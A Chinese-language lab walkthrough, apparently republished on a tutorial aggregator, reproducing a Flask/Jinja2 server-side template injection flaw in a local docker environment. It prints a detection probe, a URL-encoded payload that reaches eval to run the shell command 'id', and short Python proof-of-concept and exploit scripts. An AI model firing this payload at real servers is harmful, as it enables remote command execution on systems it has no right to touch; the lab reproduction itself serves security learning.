栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

Flask(Jinja2) 服务端模板注入漏洞

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Flask(Jinja2) 服务端模板注入漏洞

Flask是一个web框架,提供工具、库、技术来允许用户创建一个web应用程序,不依赖外部框架。

Jinja2是python中被广泛应用的模块引擎,由python实现的模块语言,Flask提供render_template函数封装了该模块引擎。

漏洞复现:

手工复现:

开启环境:docker-compose up -d

访问:http://192.168.0.27:8000

payload:url/?name={{3*3}}

出现 9 即代表SSTI漏洞存在

漏洞利用:

url/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

得到结果:

复现完成关闭环境:dockers-compose down -v

二、脚本复现

#POC
import requests
url = 'http://192.168.0.27:8000'
payload = '/?name={{3*3}}'
url = url + payload
re  = requests.get(url)
if re.status_code == 200 and 9 :
	print(re.text)
else:
	print("不存在")

 结果:

 exp脚本:

#exp:
import requests
url = 'http://192.168.0.27:8000'
payload = '/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
url = url + payload
re  = requests.get(url)
if re.status_code == 200:
	print(re.text)
else:
	print("error")

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/883387.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号